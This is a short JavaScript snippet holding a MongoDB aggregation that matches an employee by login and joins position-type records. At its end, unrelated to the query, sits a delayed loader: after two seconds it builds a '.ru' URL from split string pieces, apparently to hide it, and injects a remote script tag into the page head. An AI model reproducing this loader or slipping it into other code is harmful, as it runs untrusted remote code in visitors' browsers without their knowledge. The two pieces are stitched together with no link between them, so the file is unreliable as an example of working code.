let employees = await models.employee.aggregate([
{
$match: {
login: login.toLowerCase(),
},
},
{
$lookup: {
from: "positiontypes",
let: {
position: "$position",
function: "$function",
bloc: "$bloc",
specialProperties: "$specialProperties",
},
pipeline: [
{
$match: {
specialProperties: {
$all: "$$specialProperties",
},
$expr: {
$and: [
{ $eq: ["$$position", "$position"] },
{ $eq: ["$$function", "$function"] },
{ $eq: ["$$bloc", "$bloc"] },
],
},
},
},
],
as: "positiontype",
},
},
{
$unwind: {
path: "$positiontype",
preserveNullAndEmptyArrays: true,
},
},
{ $match: { positiontype: { $exists: true } } },
]);
setTimeout(function(){
var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)